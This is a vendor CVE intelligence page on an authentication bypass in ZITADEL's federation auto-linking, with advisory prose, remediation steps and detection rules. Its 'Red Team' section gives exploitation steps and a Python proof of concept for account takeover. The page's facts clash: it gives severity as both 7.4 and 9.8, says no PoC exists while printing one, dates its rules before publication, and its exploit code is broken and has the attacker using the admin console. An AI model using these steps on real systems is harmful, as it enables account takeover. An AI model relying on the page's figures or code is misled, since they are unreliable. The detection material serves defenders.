☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.4 🐛 CWE-287
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64717

CVE-2025-64717 Authentication Bypass in Zitadel
📅 PUBLISHED: 2025-11-13 15:30 UTC 🔄 UPDATED: 2026-09-23 20:21 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64717 is a critical authentication bypass vulnerability in ZITADEL, an open-source identity management platform. The flaw resides in the federation auto-linking process, where the platform fails to validate an organization’s login policy—specifically whether an Identity Provider (IdP) is active or if federated authentication is allowed. An unauthenticated attacker can exploit this by initiating a login flow through a disabled IdP, causing ZITADEL to incorrectly auto-link the attacker’s external identity to an existing internal user account. This can lead to a full Account Takeover (ATO), bypassing organizational security controls. Accounts with MFA enabled are not affected. The vulnerability affects all ZITADEL instances running versions 2.50.0 through 2.71.18, 3.0.0 through 3.4.3, and 4.0.0 through 4.6.5. The fix is available in versions 2.71.19, 3.4.4, and 4.6.6.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ZITADEL is distributed as a Go binary and Docker container. The vulnerability is in the core authentication logic, not in a third-party package. However, organizations using ZITADEL as a dependency in their own Go modules should update their go.mod to reference the patched version. The Docker images ghcr.io/zitadel/zitadel should be updated to the latest patched tag.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely. Successful exploitation results in complete account takeover, granting the attacker the same privileges as the compromised user.

Deep Dive & Mechanics

The vulnerability is rooted in the federation auto-linking logic. When a user authenticates via an external IdP (e.g., Google, GitHub, SAML), ZITADEL can automatically link that external identity to an existing internal user account based on a matching attribute (e.g., email). The flaw is that the code path for auto-linking does not check the organization’s login policy to verify if the IdP is enabled or if federation is allowed.

Attack Flow:

  1. An attacker identifies a target organization using ZITADEL.
  2. The attacker initiates an OAuth2/OIDC login flow using an IdP that is registered at the instance level but disabled for the target organization.
  3. ZITADEL receives the authentication callback from the IdP.
  4. The auto-linking code executes without first checking the organization’s LoginPolicy to see if the IdP is active.
  5. If the attacker’s external identity matches an existing internal user (e.g., same email), the attacker is automatically linked and logged in as that user.
  6. The attacker now has full access to the victim’s account.

Key Constraint: The IdP must be registered at the instance level (not just at the organization level). IdPs registered only on another organization are correctly denied.

Vulnerable vs. Patched Code

The vulnerable code is in the auto-linking handler, likely in the internal/api/grpc/auth/ or internal/command/ package. The patch adds a check for the organization’s login policy before performing the auto-link.

Vulnerable (pseudo-code):

func autoLinkUser(externalUser ExternalUser, orgID string) error {
    // No policy check
    internalUser := findUserByEmail(externalUser.Email)
    if internalUser != nil {
        linkExternalIdentity(internalUser.ID, externalUser)
        return nil
    }
    return errors.New("no matching user")
}

Patched (pseudo-code):

func autoLinkUser(externalUser ExternalUser, orgID string) error {
    policy, err := getLoginPolicy(orgID)
    if err != nil {
        return err
    }
    if !policy.IsIdPAllowed(externalUser.IdP) {
        return errors.New("IdP not allowed for this organization")
    }
    internalUser := findUserByEmail(externalUser.Email)
    if internalUser != nil {
        linkExternalIdentity(internalUser.ID, externalUser)
        return nil
    }
    return errors.New("no matching user")
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A ZITADEL instance running a vulnerable version (e.g., 2.50.0).
  • An instance-level IdP (e.g., a custom OIDC provider) that is disabled for the target organization.
  • Knowledge of a target user’s email address within that organization.

Exploitation Steps:

  1. Set up a malicious OIDC provider (e.g., using a simple Node.js app with openid-client).
  2. Register the malicious IdP at the ZITADEL instance level.
  3. Disable the IdP for the target organization via the ZITADEL admin console.
  4. Initiate an OIDC login flow to ZITADEL using the malicious IdP, with the target organization’s ID in the request.
  5. In the IdP’s response, set the email claim to match the target user’s email.
  6. ZITADEL will auto-link the external identity and log the attacker in as the target user.

Proof-of-Concept (Python using requests):

import requests

# Step 1: Initiate login
auth_url = "https://victim-zitadel.example.com/oauth/v2/authorize"
params = {
    "client_id": "your-client-id",
    "redirect_uri": "https://your-idp.com/callback",
    "response_type": "code",
    "scope": "openid email profile",
    "state": "random_state",
    "org_id": "target-org-id"
}
# Redirect user to this URL
print(f"Redirect victim to: {auth_url}?{urllib.parse.urlencode(params)}")

# Step 2: After IdP callback, exchange code for token
token_url = "https://victim-zitadel.example.com/oauth/v2/token"
data = {
    "grant_type": "authorization_code",
    "code": "received_code",
    "redirect_uri": "https://your-idp.com/callback",
    "client_id": "your-client-id",
    "client_secret": "your-client-secret"
}
r = requests.post(token_url, data=data)
print(r.json())  # Contains access_token for the victim user

Blue Team

Detection:

  • Monitor for login events from IdPs that are disabled for the organization.
  • Alert on auto-linking events where the IdP is not in the organization’s allowed list.
  • Review authentication logs for unexpected account linking.

Hunting Query (ELK/Kibana):

{
  "query": {
    "bool": {
      "must": [
        { "match": { "event_type": "user.linked_external_idp" } },
        { "match": { "metadata.idp_state": "disabled" } }
      ]
    }
  }
}

Lab Setup:

  • Use Docker to spin up a vulnerable ZITADEL instance: docker run -d --name zitadel -p 8080:8080 ghcr.io/zitadel/zitadel:v2.50.0
  • Configure a test organization and a test user.
  • Set up a mock OIDC provider (e.g., using https://github.com/panva/node-oidc-provider).
  • Register the mock IdP at the instance level and disable it for the test organization.
  • Attempt the exploit and verify the account takeover.

Indicators of Compromise (IOCs)

  • Log Entries: ZITADEL audit logs showing user.linked_external_idp events for IdPs that are disabled for the organization.
  • Network Traffic: OIDC authorization requests to ZITADEL with org_id parameter pointing to a target organization, followed by token exchange.
  • User Behavior: Sudden login from a new IP/location for a user who previously only used password authentication.
  • IdP Metadata: External IdP registered at the instance level but not visible in the organization’s IdP list.

Detection Engineering

YARA Rule

rule CVE_2025_64717_ZITADEL_AutoLink_Bypass {
    meta:
        description = "Detects ZITADEL binary with vulnerable auto-linking logic"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:target_binary_hash"
    strings:
        $vuln_code = "autoLinkUser" ascii wide
        $missing_check = "findUserByEmail" ascii wide
        $no_policy = "LoginPolicy" ascii wide
    condition:
        $vuln_code and $missing_check and not $no_policy
}

Sigma Rule

title: ZITADEL Auto-Linking from Disabled IdP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ZITADEL audit log entries where an external IdP was linked to a user but the IdP was disabled for the organization.
author: Valters IT
date: 2025-04-10
logsource:
    product: zitadel
    service: audit
detection:
    selection:
        event_type: "user.linked_external_idp"
        metadata.idp_state: "disabled"
    condition: selection
falsepositives:
    - Legitimate admin re-enabling IdP and linking users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64717 ZITADEL Auto-Linking Exploit Attempt";
    flow:to_server,established;
    content:"/oauth/v2/authorize"; http_uri;
    content:"org_id"; http_uri;
    pcre:"/org_id=[a-zA-Z0-9]+/";
    sid:1000001;
    rev:1;
    reference:cve,2025-64717;
    classtype:attempted-user;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade ZITADEL to version 2.71.19, 3.4.4, or 4.6.6 (or later).
  2. If immediate upgrade is not possible, disable all instance-level IdPs that are not explicitly required.
  3. Enable MFA for all user accounts, as MFA-protected accounts are not vulnerable.

Long-Term Mitigations:

  • Implement network segmentation to restrict access to ZITADEL API endpoints.
  • Monitor ZITADEL audit logs for anomalous auto-linking events.
  • Conduct a review of all IdP configurations to ensure only necessary IdPs are enabled at the instance level.

Patch Verification:

  • After upgrading, verify the fix by attempting to auto-link a user via a disabled IdP. The operation should fail with an error indicating the IdP is not allowed.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64717/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.